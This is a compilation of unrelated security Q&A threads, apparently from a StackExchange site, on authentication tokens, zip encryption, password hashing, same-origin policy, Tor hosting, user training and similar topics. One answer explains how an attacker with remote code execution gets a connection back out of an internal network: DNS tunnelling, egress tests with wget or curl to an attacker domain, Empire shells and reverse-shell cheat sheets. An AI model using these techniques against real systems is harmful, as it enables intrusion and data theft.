Is this private network authentication system secure? I am building an authentication system to be used within a company's private network. I do not administer this network, and I know very little about the setup, but my basic understanding is you must be on a local machine or VPN in to access it.

The system/services consists of:

An OAuth server that uses JWT's as access_tokens
A private multi-page javascript application served up by a PHP backend
A set of private APIs
A public application that will utilize our internal services (OAuth server and API's)

For users of the public application I intend on storing their access and refresh token within a server side session, and all communication to our API's will be done from the backend.

For users of our private network (employees) I've opted to store their short lived access_token (10 minutes) AND refresh token (1-4 weeks) inside of cookies. The cookies are set as HttpOnly, secure, and SameSite=lax. I'm still struggling with the most secure way to use these cookies to authenticate users across all applications and APIs. Here are the two ideas I have at the moment:

Originally I just wanted all apps/services to simply accept the cookie as a valid authentication method. but I now understand this leaves me open to potential CSRF. So I would have to implement some type of stateless CSRF protection.
My second plan was to only allow the content serving applications to accept the cookie as an authentication method. Which would limit CSRF vulnerabilities to application content only. I would then pass the JWT to the application by embedding it into the actual HTML page, which could then be sent through Authorization headers to the APIs. I realize this is not secure storage of a JWT, and it could be compromised with CSRF. But my thinking was that being an internal network, the JWT's are essentially useless to anyone on the outside.

Are these designs insecure? Particularly the second one, which involves embedding access_tokens into the html/javascript page?
Is there a better approach that I am missing?

If you have done some design work, the best would be now to do some Threat Modelling session, where you could identify all possible flaws. AuthN and AuthZ design is hard and requires experience.

I will not do the Threat Modelling session for you as 1) I do not know all the context and requirements 2) this is not a place for that. But from my experience, I can give you some advice.

First, please remember about the Security in Depth principle which states you should secure your solution on every layer. There is nothing worse than to follow the Security by Obscurity with the private area. You cannot rely on that it is not visible for public users or is not accessible, as this is in private network. If the public application is somehow connected with private backend/API and private app is using the same backend API, you should consider both at the same security level.

Second, try to design a solution where you never send the security token (access or refresh) to the user-agent (browser) as this is mostly considered insecure. Securely storing tokens at the client-side is very hard to achieve. If you design the web app with a PHP backend, stay with the tokens at the backend and use it from there. This is correct for both public and private app.

You have not wrote explicitly that you will be using the OAuth2 and OpenIdConnect so if you consider using access token please remember about those specifications and strictly follow those during implementation. Use certified software for AS and if you have possibility certified client's libraries.
OpenId Certification


Which encryption cypher is used when using zip -e? I am looking for a cross-platform way to encrypt credentials I need to send to a client.
I know encrypted zip archives leak metadata and can be tampered with, but how strong is the encryption cypher?
zip -ejr "/path/to/folder.zip" "/path/to/folder"

You wrote: "I am looking for a cross-platform way to encrypt credentials I need to send to a client."
You do not define what you mean by "cross-platform." Your best solution is *not to use zip.
If "cross platform" means "Windows and Mac," then your best solution is to use Microsoft Word's encryption or Adobe Acrobat's. Both systems use AES in their most recent incarnation.
If "cross platform" means "Windows, Mac and Linux," then use Acrobat.
In either case, you will need to exchange a high-entropy encryption key for the document with your client. That is, you will need to exchange a password in order to exchange your encryption key. Of course, if you can do that, you might as well just send the credentials themselves using this out-of-band mechanism, no?
So what you really want to do is to use public key cryptography. That is, you are probably best off having your client spin up an S/MIME certificate and send your client encrypted mail using Apple Mail or Microsoft Outlook or Thunderbird or any of the other cross-platform approaches for using S/MIME. You'll find details in NIST SP800-177, "Trustworthy Email."
Other people will suggest that you use PGP. I won't, because it's too hard to use. But if you want to use PGP, give it a try!
If all of this sounds like too much work, you could go low-tech and put the credentials in an envelop, sign your name across the back of the envelope, put that in a second envelope, and send it to your client through postal mail.


Remaining private while using Paypal I am starting a new website and would like to protect my privacy. I am thinking about using a Paypal account to purchase my domain and hosting, as well as for monetization further on. How easy is it for someone to figure out who I am through my Paypal account? I would like to protect my identity as well as possible with this new website.

Disclaimer: I am not a lawyer, this is not legal advice. Please consult a lawyer for any specifics on the follow

The steps to anonymity yourself vary depending upon from whom you want to hide. PayPal or any financial institution wants to know who they are working with (and in some cases legally mandated - KYC). If you just don't want random people to come flame you, "swat" you, etc. Then PayPal is not really your concern because its not like someone is going to call them up and they are going to tell them who you are. However, a government could likely request records from any business to find out who their customers are.

Beyond that, you would also need to protect your identity from the web hosting and domain registrar companies. And also use anonymity strategies (e.g., TOR) when uploading or posting to your website. You will need to publish whois information for your website, but you can use privacy services that will hide that from the public.

Running a business you will likely need to give out a mailing / billing address at some point. You can get a PO Box or mail drop service, but there would still be records about your registration of such with the mail services in many cases.

It also sounds like you plan to setup this website as an "individual", but you may want to take advantage of a corporate structure that offers a high amount of anonymity that at the very least would be very difficult to unravel to find out who you are. You could for example setup a Delaware or Nevada corporation and have that own another corporation etc to create layering. You should be able to setup such structure legally, but it can get expensive and complex. You then conduct all business for the website through the corporation. Clearly, you should find an attorney you can trust.

If your concern is really just PayPal, perhaps you can buy a prepaid card with cash and use that for the purchase transaction. You will still need to give contact data at some point likely though.


Is Linux kernel supported by Linux Mint 17 LTS vulnerable? During a local security check performed by nessus on a Linux Mint Qiana 17 LTS system, even if the host is perfectly updated, I have found 34 vulnerabilities about the kernel.

For example:
USN-2946-1 ( CVE-2015-8812, CVE-2016-2085, CVE-2016-2550, CVE-2016-2847 )
USN-3018-1 ( CVE-2016-4482, CVE-2016-4565, CVE-2016-4569, CVE-2016-4578, CVE-2016-4580, CVE-2016-4913, CVE-2016-4997, CVE-2016-4998 )
...
USN-2359-1 ( CVE-2014-3601, CVE-2014-5077, CVE-2014-5471, CVE-2014-5472 )
...
...

All these vulnerabilities belong to the current installed kernel version:
linux-image-3.13.0-24-generic_3.13.0-24.47

Linux mint is based on Ubuntu 14.04 LTS. But Ubuntu 14.04 LTS seems to use linux-image-3.13.0-96-generic.
I know that Ubuntu backport security patch, so the kernel version main number stay unchanged but the vulnerabilities are fixed.
If I'm correct when you have a vulnerability publicly exposed about linux-kernel 3.X.Y, linux make a version 3.X.Z and Ubuntu put the patch in the version 3.X.Y-1 (right?).
So If you are using linux kernel 3.13.0-24 but the last version is 3.13.0-96, you are missing all the security patches made by Canonical.

I have seen that linux-kernel 3.13.0-24 is officially the version supported by Qiana: http://mirror.metrocast.net/linuxmint-packages/list.php?release=Qiana

Qiana (linux mint 17) is a LTS version, so the security patches shall be pushed in the kernel.

My question is not about how to get a secure kernel, I know that I can use linux mint 17.1, 17.2, 18, etc.
My question is about "how a LTS mint version can use a known vulnerable version of linux kernel"?

I guess possible answers are:
 1. you're wrong the kernel version 3.13.0-24 is not vulnerable
 2. Mint backports patches in the kernel without updating the last number (the 'Z' in 3.X.Y-Z)
 3. Yes mint use an older version of the kernel without the last security   patches backported by Ubuntu so Qiana 17 LTS is full of kernel vuln

Note that nessus was not ready to perform specific Mint local security check, but it detected that the OS is Ubuntu based and make its checks knowing that:

The output of "uname -a" is :
Linux Tony-PC 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

The remote Debian system is :
jessie/sid

This is a Ubuntu system

Local security checks have been enabled for this host.

We can see that the date of build make some fear. And I have checked all the parameters is the system update: depository list is correct, apt-get update is good, apt-get upgrade is good, apt-get dist-upgrade is good too.

Linux Mint founder and lead developer Clement Lefebvre responded to these accusations with a blog post on segfault.linuxmint.com in 2013.

I hear [Oliver Grawert, a Canonical-employed Ubuntu developer] was more opinionated than knowledgeable and the press blew what he said out of proportion. I wouldn’t mind too much, if we weren’t finding ourselves answering questions from panicked users rather than working on what matters right now (i.e. Mint 16 RC).
So I’ll be brief.
About package updates:
We explained in 2007 what the shortcomings were with the way Ubuntu recommends their users to blindly apply all available updates. We explained the problems associated with regressions and we implemented a solution we’re very happy with.
Anybody running Mint can launch Update Manager -> Edit -> Preferences and enable level 4 and 5 updates, thus making their Linux Mint as “Secure” and “Unstable” as Ubuntu.

HowToGeek.com summarizes the argument this way in their blog:

Linux Mint’s primary argument is that “blindly” updating packages like the X.org graphical server, bootloader, and Linux kernel can cause problems. Updates to these low-level packages can introduce bugs on some types of hardware, while the security problems they solve aren’t actually a problem for people who use Linux Mint casually at home.
[...]
The real disagreement here is a philosophical one. Ubuntu errs on the side of updating everything by default, eliminating all possible security vulnerabilities — even ones that are unlikely to be exploited on home user systems. Linux Mint errs on the side of excluding updates that could potentially cause problems.


How to exploit RCE vulnerability for machine on local network Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside the server?

It could be that some of the outgoing traffic from the server is blocked. Upon gaining a RCE there are various techniques to check if you can get a connection back:

Try ping yourdomain.xx - Check if your domains DNS query is executed by the victim server, if it is, that means you can setup a shell through DNS. You can use a tool like https://github.com/iagox86/dnscat2, or just manually exfiltrate data with DNS TXT records.
If for some reason that doesn't work, you can check if outbound 443 port is open by doing a simple wget https://yourdomain.xx/curl -k https://yourcomain.xx. You can use a tool like https://github.com/EmpireProject/Empire.git to eastablish a shell, remember to setup a certificate as well.
If that fails, than you can just check for other open ports ports here's a nice list of reverse TCP shells http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, but I would advise against using them if you are traversing a perimeter firewall and public network, they get detected/blocked easily.

In summary:

Check what you can reach
Use that to create a shell
Do whatever you came to do

*This is not intended as a deep dive explanation, but just as an example of some of the techniques you can use


Is There Any Risk When Visiting Websites Without Secure Connections If You Don't Enter Personal Info? Sometimes when I click on a link to a website, from google search, etc., I get a warning that says "Your connection is not private. Attackers may be trying to steal your personal info", and makes me go into advanced options if I want to proceed to the website. According to some quick research, this means that there is an issue with the site's HTTPS encryption. My question is whether it is safe to visit these websites as long as you aren't entering credit card info or other personal info, or whether there is some other risk in visiting these sites. I know that there can be websites that download viruses to your computer when you visit them, etc., but are these websites with HTTPS errors any more dangerous in this regard or other regards as a website that uses HTTPS? Sometimes I see a website that I know is safe, but for some reason a specific link to a page within this website displays the error message, and sometimes it happens with websites I've never visited before.

There are some risks to HTTP sites even if you're not entering data.
There is the privacy risk, as others have pointed out. Someone in a position to observe your traffic can see a lot more about what you are doing. E.g. if you're browsing a news site over HTTPS, they can see that you're browsing the site; with HTTP they can tell what articles. There is a lot of additional metadata visible that could be used to fingerprint you; this can allow someone to correlate the activity they can observe with other sites and potentially identify you.
But the other big risk is the lack of integrity. With plain HTTP anyone your traffic is sent through can insert malicious files. E.g. your ISP or whoever's wireless you're using can insert ads, crypto miners or other malicious content. HTTPS provides integrity protection, so if working correctly, this means that an attacker would have to compromise the destination site to do this rather than just get you to connect to their WiFi.


Password Hashing: add salt + pepper or is salt enough? Please Note: I'm aware that the proper method for secure password storage hashing is either scrypt or bcrypt. This question isn't for implementation in actual software, it's for my own understanding.

Related

How to apply a pepper correctly to bcrypt?
How to securely hash passwords?
HMAC - Why not HMAC for password storage?

Background
As far as I know, the recommended/approved method for storing password verifiers is to store:

$verifier = $salt + hash( $salt + $password )

Where:

hash() is a cryptographic hashing algorithm
$salt is a random, evenly distributed, high entropy value
$password is the password entered by the user

Some people advice to add a secret key into the mix (sometimes called pepper). Where the pepper is a secret, high entropy, system-specific constant.

The rationale seems to be that even if the attacker gets hold of the password verifiers, there is a good chance he or she does not know the pepper value. So mounting a successful attack becomes harder.

So, my question is:
Does adding a pepper value in addition to a salt when hashing passwords increase the overall security?

Or is the perceived increased security based on false assumptions?

Quick Update
I know the purpose of the $salt (I wrote quite a long answer on StackOverflow about it) the additional $pepper key is not improving upon what the salt does.
The question is, does the $pepper add any security other than what the salt does?

In some circumstances, peppers can be helpful.
As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers.
The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID.
You need to store passwords securely in the database, and come up with something on the form of:
$hashed_password = hash( $salt . $password )

where $salt is stored in plaintext in the database, together with the $hashed_password representation and randomly chosen for each new or changed password.
The most important aspect of every password hashing scheme is that hash is a slow cryptographically secure hash function, see https://security.stackexchange.com/a/31846/10727 for more background knowledge.
The question is then, given that it is almost zero effort to add a constant value to the application code, and that the application code will typically not be compromised during an SQL Injection Attack, is the following then substantially better than the above?
$hashed_password = hash( $pepper . $salt . $password )

where $salt is stored in plaintext in the database, and $pepper is a constant stored in plaintext in the application code (or configuration if the code is used on multiple servers or the source is public).
Adding this $pepper is easy -- you're just creating a constant in your code, entering a large cryptographically secure random value (for example 32byte from /dev/urandom hex or base64 encoded) into it, and using that constant in the password hashing function.  If you have existing users you need a migration strategy, for example rehash the password on the next login and store a version number of the password hashing strategy alongside the hash.
Answer:
Using the $pepper does add to the strength of the password hash if compromise of the database does not imply compromise of the application. Without knowledge of the pepper the passwords remain completely secure. Because of the password specific salt you even can't find out if two passwords in the database are the same or not.
The reason is that hash($pepper . $salt . $password) effectively build a pseudo random function with $pepper as key and $salt.$password as input (for sane hash candidates like PBKDF2 with SHA*, bcrypt or scrypt). Two of the guarantees of a pseudo random function are that you cannot deduce the input from the output under a secret key and neither the output from the input without the knowledge of the key. This sounds a lot like the one-way property of hash functions, but the difference lies in the fact that with low entropy values like passwords you can effectively enumerate all possible values and compute the images under the public hash function and thus find the value whose image matches the pre-image. With a pseudo random function you cannot do so without the key (i.e. without the pepper) as you can't even compute the image of a single value without the key.
The important role of the $salt in this setting comes into play if you have access to the database over a prolonged time and you can still normally work with the application from the outside. Without the $salt you could set the password of an account you control to a known value $passwordKnown and compare the hash to the password of an unknown password $passwordSecret. As hash($pepper . $passwordKnown)==hash($pepper . $passwordSecret) if and only if $passwordKnown==$passwordSecret you can compare an unknown password against any chosen value (as a technicality I assume collision resistance of the hash function). But with the salt you get hash($pepper . $salt1 . $passwordKnown)==hash($pepper . $salt2 . $passwordSecret) if and only if $salt1 . $passwordKnown == $salt2 . $passwordSecret and as $salt1 and $salt2 were randomly chosen for $passwordKnown and respectively $passwordSecret the salts will never be the same (assuming large enough random values like 256bit) and you can thus no longer compare password against each other.


Separating Apache and MySQL over Tor for security, performance, and reliability I'm trying to set up a hidden web service over the Tor network, and I was thinking of making a configuration where my Apache server and my database server are located on different networks.

I know this will introduce a lot of latency, especially since no server will know where the other is (Tor will be running on both), so that in case one of them is compromised, the other one is not.

I'd like to know if it would be reasonable to run a hidden service configured as Apache server connecting to a separate hidden service that acts as a database, and the end user connects to the Apache server?

Additionally, would the latency be low enough to make this feasible, or would it be impossible to use and it would time-out all the time, due to network latency? What would be an ideal server configuration, in terms of resources? Would the apache server need more RAM/CPU, and the DB server more I/O and things like that?

... I don't think this will work.

The latency and reliability will cripple your site.
Performance and reliability are unlikely to be close to acceptable due to the nature of TOR and any requests involving the database now including at least double the hops to service a client request, with a raised level of lossyness.

Security will also be worse I think; you'll want to run TOR on both servers to ensure other people aren't controlling your entry/exit nodes.  The requirements for this will be meek on ram/cpu but bandwidth requirements will go up, particularly if you're trying to hide from someone controlling networks you would need to be a gateway for a lot of other traffic if you're trying to hide.

I don't think I understand the security benefit of trying to hide the servers from each other like this.  If they compromise one they will know how to reach the other for the services in question - the only thing it hides a bit is that the attacker who compromises one machine will have a harder time finding other (non-key) services exposed for the other machine, maybe.  Additionally though, you're having to expose services to some degree through TOR (hopefully secured to some degree) that you wouldn't normally have to expose externally at all.


Which topics should a security training for non-IT persons contain? (I am not sure, if this question fits the security.stackexchange-board, but the list of askable topics does not exclude this question imho and there are some examples)

I've worked for several different companies of which some had outsourced their IT-department. This means that the people at the company mostly use technology, but have no deeper understand of it, especially when it comes to security.

Therefore I was toying with the idea to offer 1 or 2 small workshops / trainings, so they can get at least an idea of WHY computer security is important and WHAT exactly is important. I would like to do this because I think, human knowledge should be shared, no matter the recipient and both sides might learn. My colleagues might understand security better and I might understand their point of view better.

So I sat down and tried to come up with a list of necessary and useful topics, keeping the target audience in mind.

Am I missing topics, should there be other topics? What is necessary to learn, when you deal with computer security?

Topics:

Why computer security? (Costs, Ransomware stopping a complete company, ...)
Passwords (What is a good password, how to store, never use same PW on different accounts, ...)
Lock the screen when leaving the workplace (Because...? Did not find good examples of what could happen, also is this a high priority?)
Should I show a hacking example to visualize what it is? For example older phones / tablets are crackable pretty fast with open source software.
Social Engineering (2 colleagues got a call and became victims to the CLSID-Scam, door gliding, USB sticks in the parking lot, ...)
Internetsecurity (NoScript, deactivate Flash / JS, what's phishing, ...)
Backups
Email encryption
Protective measures (keep OS updated, use antivirus-software, dont use the admin-account as a default, ...)

I dont know which topics should be mandatory and in which order. The training might take 1 or even 2 hours. I would also create some cheat-sheets, so they can take away some written information, further reading etc.

I actually did a presentation similar to this a little over a year ago, and spent quite a bit of time deciding how to structure it. My target audience did include developers and other people quite knowledgeable in IT, but also managers and other non-programmers, so I tried to keep it fairly general, and not to technically complicated. As someone else pointed out, I think one important thing is not to come across as boring; you want this to be an enlightening talk that helps people realize that this is something they ought to keep in mind, and not just another list of dreary tasks that will get in the way of actual work.

To this end, I tried to center the whole presentation around the concept of security culture instead of jumping straight into too many technical details. With that in mind, I still managed to touch upon many of the themes you mention in your question.

Some of the stuff I mentioned in my talk

(or would touch upon today if I was to hold another similar talk):

Confidentiality, Integrity and Availability (CIA): The central themes of information security, and a few should-be-obvious words about why these are important both to your company, and to individuals (if you can give people a little guidance that will help them stay safer beyond the workplace too, then that is only a plus, right? It might also make some pay more attention to you too - especially if you touch upon the safety of their kids/family too).
A few words about the concept of "security culture" ("culture" as in "a set of ideas, habits and social norms, common to a specific group of people", or something like that, and the idea that security awareness should be a conscious part of this).
Goals of thinking about security: Reducing the risk of unwanted incidents, preparing to handle them if / when they occur anyway.
Keeping cost in mind (or return on investment if you like); thinking about what measures will be easiest to get started with, and which make the most sense. I would include a few words about good habits here; such things as update your systems, use good passwords, and avoid clicking suspicious links, be conscious of physical security (tailgaters!) etc. Perhaps include a few examples from real-world events, including screen shots of news articles about breaches, etc?
Throw out a few questions related to what type of vulnerabilities or threats might be relevant to your particular company, and more. Examples: What are the "crown jewels" of our business? What is most important to us, and what may threaten them? How secure are we today, how secure would we like to be, and how can we get there in the future? In what areas would we want to improve our security stance? The point here is not to give people a checklist of things to do, but to get them thinking about the whole realm of security in general, and help take responsibility for parts of it, themselves.
Give a few examples of typical security guidelines, and ask your audience if any of them (or similar) should be considered for your workplace.

Oh, and one more thing: Including a few appropriate real world examples of security problems will help keep your audience entertained (but don't overdo it).

I don't know if this is exactly what you were after, but I hope it may be of some use. Good luck with your presentation.


Why is a link posted to Facebook going through all redirects and showing info for final page only? Today I read a post on a Facebook-group about a "problem" with links posted to Facebook.

Appearently when you post a link at Facebook, the sites goes through the redirect(s) that may be on the site which is linked to in the first place (link to phishers site --> redirect to legitimate site = facebook shows content of legitimate site).

If the owner of the first site afterwards remove the redirect, you will now have a link looking quite legitimate (depending on the site to which you redirect initially), but may be a scam phishing site!

I am far away from being deep into security matters, but this seems rather stupid to me and as a obvious problem with eg. contest pages or "Like if you also like turtles"-pages.

Why do Facebook have this "feature" and how could they eventually avoid it (updating link regularly or by request or similar)?

I am not Facebook, but if I were designing their linking system my reasoning for following the links would be this:

Shortlinking systems like bit.ly and tinyurl.com are ubiquitous.
We need to follow the link to the end in order to scrape content from the page (images, blurb of text) to put in your feed, as well as to correlate you with others that have posted the same link.

Note that the problem here is not actually solvable: if the attacker has control of the original link--redirect or not--that link can be manipulated to look legitimate for Facebook's scrape, and then turned malicious afterwards.


http requests from server itself I am running a website on AWS EC2 instance. I am logging http requests headers. When I checked the logs, I noticed that there are many requests from the AWS EC2 instance public ip.

Example:-

  AWS EC2 public ip : 1.2.3.4

{"headers":{"host":"1.2.3.4:80"}}

Is it possible to have server sending http request to itself for viewing web pages?

I am logging each request and the url they are requested.

I tested and logged the files locally by creating a local server but there were no requests from server to itself or something like this.

I am new here, help me with some explanation. Is it a security threat? If it is, How it can be resolved?

That is not the source IP of the request, it's the value of what the user agent set in the Host header.

When I make a HTTP request to StackExchange to fetch this question page, it looks like this:

GET /questions/169836/http-requests-from-server-itself HTTP/1.1
Host: security.stackexchange.com
...

The Host header indicates that I wish to load from the security.stackexchange.com host, and is usually automatically filled by my browser when I make a request. It knows the host because it's in the full URL I'm visiting.

The header allows one server to host multiple sites on multiple domains via virtual hosting. One HTTP server on one IP address can host multiple sites with different domain names (each pointing to the same IP via DNS) differentiated by the content of the Host header sent by the user agent (e.g. a browser).

What you're seeing is either requests someone made manually by going to http://1.2.3.4 or requests made by automated systems that scan the internet. In the case of the latter, they likely scan by IP space only and do not know the correct hostname for the system, so simply provide a Host header with the IP address in.

In summary: these requests are not being made from your own webserver, and I would not say this is a security concern.


How can I make a strong password that's easy to remember? Is the 4 Word method safe? I have heard of the method of using 4 random dictionary words, it gives you lots of characters and is easy to remember.

But that seems to be open to dictionary attacks, especially if the attacker has heard of the method as well, and brute force attacks of combinations of 4 dictionary words.

Are there too many combinations of 4 dictionary words, so that it would still be safe?

I noticed that Veracrypt specifically states not to use dictionary words, or combinations of 2, 3, 4 such words.

So, if thats not safe, is there a safe method that still let's me remember the password? Would a combination of 8 dictionary words work?

The main problem with passwords is not password complexity, but password reuse (obligatory xkcd). One service leaks logins and passwords, suddenly lots of providers see a surge on account hijacks. Why? Because we humans cannot remember dozens of different passwords, so we create one password for common services, and one for special ones. But most of us will have only one password.

Don't create your own passwords, use a password manager. They can create very complex passwords, one for each service, have plugins and extensions for the major browsers, have strong encryption, cloud backup, multi device syncing, and more. Don't trust your brain to create different random passwords for each service.

Using a password manager means you will only need to know one password - the master one. This password can be written down and kept on your wallet. All the others will be created by the manager, and can contain 128 chars, 10 numbers, 30 special chars, including ĥaŕd-tö-tỹpẽ ones...


Is Google Play enough to protect an outdated device? Depending on the brand, some Android devices stop receiving security updates as soon as one year after release. In my case, I own a Moto Z Play which latest security update was a year ago...

However, actually how important is this lack of security updates for an end-user? Reading through Android security bulletins, often the updates fix things that cannot be attacked unless you have either physical access to the device or you are using a bogus app.

This leads to the point of my question, given that a device no longer receives security updates, is Google Play enough to protect it? Assuming every app is installed from Google Play, and with a reasonable privileges.

However, actually how important is this lack of security updates for
  an end-user?

Very very important.

  Reading through Android security bulletins, often the updates fix
  things that cannot be attacked unless you have either physical access
  to the device or you are using a bogus app.

This is not true. The 2019 August Security bulletin itself talks about fixes for multiple vulnerabilities which could be exploited remotely.

  This leads to the point of my question, given that a device no longer
  receives security updates, is Google Play enough to protect it?
  Assuming every app is installed from Google Play, and with a reasonable privileges.

No, because unpatched system level vulnerabilities may allow local privilege escalation.


Are files like favicon.ico, robots.txt, and sitemap.xml vulnerable to XSS? A Zap scan against an app detected the "Web Browser XSS Protection Not Enabled" vulnerability on sitemap and favicon. Would it be safe to ignore those URLs or does it mean that the app is vulnerable?

Here is the full output on favicon:

{'long_description':
  "The X-XSS-Protection HTTP response header allows the web server to enable or disable the web browser's XSS protection mechanism.
  The following values would attempt to enable it:
    X-XSS-Protection: 1; mode=block
    X-XSS-Protection: 1; report=http://www.example.com/xss
  The following values would disable it:
    X-XSS-Protection: 0
  The X-XSS-Protection HTTP response header is currently supported on Internet Explorer, Chrome and Safari (WebKit).
  Note that this alert is only raised if the response body could potentially contain an XSS payload
  (with a text-based content type, with a non-zero length)."
'method': 'GET'
'pluginId': '10016',
'cweid': '933',
'confidence': 'Medium',
'wascid': '14',
'description': "Web Browser XSS Protection is not enabled, or is disabled by the configuration of the 'X-XSS-Protection'
  HTTP response header on the web server"
'url': 'http://xxx.xxx.xxx.xxx/favicon.ico',
'reference': 'https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet\nhttps://www.veracode.com/blog/2014/03/guidelines-for-setting-security-headers/',
'solution': "Ensure that the web browser's XSS filter is enabled, by setting the X-XSS-Protection HTTP response header to '1'.",
'name': 'Web Browser XSS Protection Not Enabled', 'risk': 'Low', 'id': '0'}

We will be deprecating that passive scan rule shortly.

Here's the issue: https://github.com/zaproxy/zaproxy/issues/5849
Here are the related PRs:

https://github.com/zaproxy/zap-extensions/pull/2297
https://github.com/zaproxy/zaproxy/pull/5850

You should really have CSP in place, as for whether or not it matters for those files it depends if they exist, and if not, how the error might be handled.

Further, as pointed out on MDN:

  Chrome has an "Intent to Deprecate and Remove the XSS Auditor"
  Firefox have not, and will not implement X-XSS-Protection
  Edge have retired their XSS filter

  This means that if you do not need to support legacy browsers, it is
  recommended that you use Content-Security-Policy without allowing
  unsafe-inline scripts instead.

There is further discussion of this topic (X-XSS-Protection vs CSP) in this Q/A as well.

Update: The "Header XSS Protection" passive scan rule has been removed as of Passive Scan Rules v27 > https://github.com/zaproxy/zap-extensions/releases/tag/pscanrules-v27


How can hackers guess passwords (using dictionary attack or brute force) without being locked out? Nowadays almost every website you want to register in; is asking you to create a complicated password...But why cant we use simple passwords?

I am just wondering because in case of multiple wrong password attempts; many websites and devices nowadays are using lock out system which either locks you out permanently until recovery options are followed OR locks you out for specific period of time...Moreover some websites use captcha to ensure that there is a human being on the other side and not just a tool or script....

If anyone can elaborate on this please....how is it practical (or even possible) for hackers to guess a password with these security measures that are in place....I know it happens because it happened to me. I had a Yahoo email account with a 6 character password (letters and numbers but no special characters or caps) and a hacker managed to gain access to it and started spamming my address book contacts.  And I am sure my password was not captured through phishing, social engineering or keylogger.

I am not looking for the exact tools or scripts, I am just looking for what is the idea behind a successful password guess in spite of security measures in place that do not entertain guessing.  So for example, even if my password was only letters and was only six characters, how can someone guess my gmail password?

Account lockout is an effective rate limiting measure against brute forcing logins when the attacker is targeting one particular account. It is not effective against a bulk attack across many accounts. One could, for example, try all possible usernames whilst trying the same common password for all, and recover some proportion of the accounts.

Even CAPTCHA is only really a rate-limiting feature in the face of cracking and CAPTCHA-farmers.

  I know it happens because it happened to me.

It's not certain it happened due to brute force against the login interface. Apart from the mentioned phishing and trojan attacks, plus possible other web vulnerabilities like XSRF, Yahoo's database has definitely been compromised in the past (probably leaking hashes which are likely reversible for common and short password); plus if you used the password anywhere else then the other site could have been compromised. Yahoo have historically had a particularly poor reputation for account compromises which is likely a mixture of all these things.


Defense against same origin attacks? The Question:

How do I, as the victim, protect my site from being manipulated into doing something it's not supposed to, on a shared host? Same-Origin policy looks the other way. Most convenient would probably be if I could somehow say something like "my url = always unique origin".

Background:

I have freshly stepped into the world of Javascript and here's my understanding of Same-Origin policy: SOP comes into play whenever two sites on different origins interact, be it via XMLHttpRequest, <script> loading, DOM access via window.open()'s Window reference or through an iframe..

Now it's all good and well in case of a "one site per domain" or "on site per sub domain", but what about shared hosting or shared domains?

Scenario:

Let the good guy's site reside at

http://shared-hosting.tld/~target/administration/

and the attacker's at

http://shared-hosting.tld/~attacker/

Cookies aside, the victim has an authenticated session somehow going on at /administration/ (cookies, local storage, whatever). After this, the attacker tricks the victim into visiting the site on /~attacker/ and using window.open() or iframe on the attacker's site, navigates the victim's browser to /administration/. Now since the attacker has a reference to the Window object and both sites are of same origin, the attacker has complete access to that site's content via DOM manipulation (authenticated and all), because SOP doesn't interfere.

And please don't get tangled up how the victim's /administration/ site authenticates (and maintains) it's users' authenticated status. Unless there's a way to fix this issue that way.

Also:

I understand that I'm only pointing at the Window object and access to DOM through it, because I don't see (know) other ways a a site could maliciously interact with other sites on a shared host in this case, but feel free to highlight other bad intentions relevant to this.

Some thoughts: Javascript checking for legimate page load? Doesn't sound like it would help. Iframing victim's "real" site inside a "welcome" site with sandbox-attribute? Does it disallow parent->child access as well? .. Everything seems to always come back to the "parent" being able to access the "child" without any restrictions.

First of all you should read Part2 of the Browser Security Handbook,  specifically the same origin policy for DOM access and XMLHttpRequest.

The same origin policy is bounded by the domain name,  not the path and this fundamental rule will likely never change. If two web applications share the same domain then they will be able to read each-others data using an XMLHttpRequest.  This can be used to defeat CSRF tokens, in an attack similar to the Sammy MySpace worm.  The session id may also be accessible if the http_only cookie flag isn't set.

So how do you have two applications properly sandboxed?   They must be on a different domains.  Sub-domains are free,  so in order to use the SOP to sandbox these applications you must use target.shared-hosting.tld and attacker.shared-hosting.tld.

If you read the same-origin policy for cookies you will see that if a cookie is scoped to shared-hosting.tld  then *.shared-hosting.tld will be able to access this cookie value.  But this is also easy to avoid,  just make sure that all cookies are scoped to sub-domain,  so www.shared-hosting.tld would be a safe domain.

And this use of the SOP to sandbox applications will work just fine,  as long as the target application isn't vulnerable to XSS.


Is it bad if one uses the same email address on different sites/forums? Is it bad practice if one uses the same email address on different sites and forums?

If you are concerned that some site is going to spam you or (worse yet) sell your email address, then you will want to use a unique address for that site.

If you're worried about a site being hacked, well, your email address is mostly public anyway; a hack just makes it a little bit more public.

What you must not do is use the same password across sites.  If one of them is hacked, your security on all of them is toast if they all have the same password.  It is critically important that the password to your email account be strong and different from any other site.  If the bad guys get your email password, they can use the password reset mechanism to break into your other sites.  Like your banking site, for example.

There are things a site or forum can do to make it difficult for attackers to compromise the password data, and to help secure the data even if it is compromised.  You generally cannot tell who's using best practices and who is not.  It is safest to assume that if a site is compromised, your password on that site is toast, along with any others where you've used the same password.

Edited to add: If you care about the ways a site can help protect your password, I wrote a short piece on that a couple of years ago: http://bitmonger.blogspot.com/2012/07/six-simple-rules-for-secure-storage-of.html


Authorization / Access control in a client-side-encryption environment I'm thinking about a client-side encryption concept where only the client knows the master secret (a user password). A correct implementation assumed, with KDF and authenticated encryption solutions it should be possible to ensure confidentiality and integrity without submitting the secret (from password derived key) to the server and also without saving the secret at the server.

But what is with authorization in this scenario? How can I control access to resources without a "login process" on the server? E.g. how can I prevent that a user deletes a resource from another user?

My only idea is using a CSPRNG to generate a random ID for each resource. But then resource IDs will be turned into sensitive informations, what doesn't seems perfectly reasonable to me.

Are there any strategies/technologies that I am missing? Thank you for pointing me in a new direction.

In short you need a separate authentication mechanism - i.e. the user needs to log into your server some how. Your random ID approach has several issues -

As you pointed out these need to be securely stored by the user. You also need to be certain they cannot be intercepted.
You have no idea what belongs to who. If a user loses their ID set you have stale documents on your server but no idea which documents are those ones. You also can't restrict users storage space etc.

I'm assuming because you have asked that you do not want users to have to store multiple passwords. Which really leaves three approaches - both of which require a user ID or username for the case where multiple users choose the same password.

